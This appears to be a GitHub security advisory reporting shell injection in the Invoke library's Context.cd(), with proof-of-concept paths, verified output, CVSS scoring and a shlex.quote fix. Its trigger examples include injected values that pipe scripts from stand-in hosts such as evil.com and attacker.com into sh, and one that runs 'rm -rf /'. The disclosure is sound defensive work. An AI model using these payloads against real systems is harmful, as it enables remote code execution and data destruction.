Repository navigation
[Security] Shell injection via Context.cd() path argument — metacharacters not escaped (CWE-78) #1089
Description
Summary
Context.cd() builds shell commands by inserting the raw path into "cd {} && <command>".format(path) inside _prefix_commands(). Only space characters are escaped (via .replace(" ", r"\ ")). All other shell metacharacters — $(), `, ;, |, &&, ||, newlines — are passed through verbatim to bash -c.
An inline TODO in the source acknowledges this is incomplete:
# invoke/context.py:354
# TODO: see if there's a stronger "escape this path" function somewhere
# we can reuse. e.g., escaping tildes or slashes in filenames.
paths = [path.replace(" ", r"\ ") for path in self.command_cwds[i:]]Affected code
File: invoke/context.py
Functions: cwd property (line 337) and _prefix_commands() (line 266)
Commit: 6a71e680c535ba6520e935c497099fbca011d03c
# _prefix_commands() — the injection point
def _prefix_commands(self, command: str) -> str:
prefixes = list(self.command_prefixes)
current_directory = self.cwd # ← only spaces escaped
if current_directory:
prefixes.insert(0, "cd {}".format(current_directory)) # ← raw into shell
return " && ".join(prefixes + [command])
# The assembled string is passed to:
# Popen(command, shell=True, executable="/bin/bash")
# OR os.execvpe(shell, [shell, "-c", command], env)Two confirmed injection vectors
Vector A — Command substitution $() (no spaces → space-escape doesn't help):
c = Context()
with c.cd("$(id>/tmp/invoke_poc.txt)"):
c.run("echo normal")
# bash receives: cd $(id>/tmp/invoke_poc.txt) && echo normal
# bash evaluates $(...) BEFORE cd → runs id, writes output to file
# cd fails silently, echo runs normally
# /tmp/invoke_poc.txt: uid=1000(user) gid=1000(user) ...Vector B — Semicolon chaining (no spaces):
with c.cd("/tmp;id>/tmp/invoke_poc.txt"):
c.run("echo normal")
# bash receives: cd /tmp;id>/tmp/invoke_poc.txt && echo normal
# Executes: 1) cd /tmp 2) id>/tmp/invoke_poc.txt 3) echo normalVerified output (run against commit 6a71e68 in isolated environment)
[Vector A] /tmp/invoke_poc.txt: 'uid=0(root) gid=0(root) groups=0(root)\n'
[Vector B] /tmp/invoke_poc.txt: 'uid=0(root) gid=0(root) groups=0(root)\n'
Real-world trigger conditions
Any task that passes external or user-controlled input to c.cd():
# 1. User-supplied CLI argument
@task
def deploy(c, target_dir):
with c.cd(target_dir): # invoke deploy --target-dir '$(curl evil.com/shell.sh|sh)'
c.run("make install")
# 2. Dynamic path from filesystem scan (filenames can be arbitrary)
for entry in Path("/repos").iterdir():
with c.cd(str(entry)): # entry name: "$(rm -rf /)"
c.run("git pull")
# 3. Path from config/API/DB
for repo in api_response["repos"]:
with c.cd(repo["path"]): # path: "/work;curl attacker.com|sh"
c.run("git status")In Fabric (which wraps Invoke for SSH), remote directory names are directly fed to c.cd(), making this exploitable when running tasks against hostile or compromised remote filesystems.
Severity
High — arbitrary command execution in the context of the invoking process.
CWE-78 (OS Command Injection)
CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 (if path from network/user input)
CVSS 3.1: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 7.8 (local-only use)
Fix
Apply shlex.quote() to the assembled directory in _prefix_commands(), and remove the incomplete space-only escaping from cwd:
import shlex
def _prefix_commands(self, command: str) -> str:
prefixes = list(self.command_prefixes)
current_directory = self.cwd
if current_directory:
prefixes.insert(0, "cd {}".format(shlex.quote(current_directory))) # ← safe
return " && ".join(prefixes + [command])
@property
def cwd(self) -> str:
...
paths = list(self.command_cwds[i:]) # ← shlex.quote() handles all escaping
return str(os.path.join(*paths))shlex.quote() wraps in single quotes and escapes embedded single quotes:
/tmp;id→'/tmp;id'(semicolon becomes literal)$(id)→'$(id)'(dollar/parens become literal)my dir→'my dir'(space handled correctly, no backslash needed)
A patch implementing this fix is available at:
https://github.com/HarshRajSinghania/invoke/tree/fix/i1-cd-shell-injection
Reporter
Harsh Raj Singhania — independent security researcher
Contact: raj.harshraut@gmail.com
Activity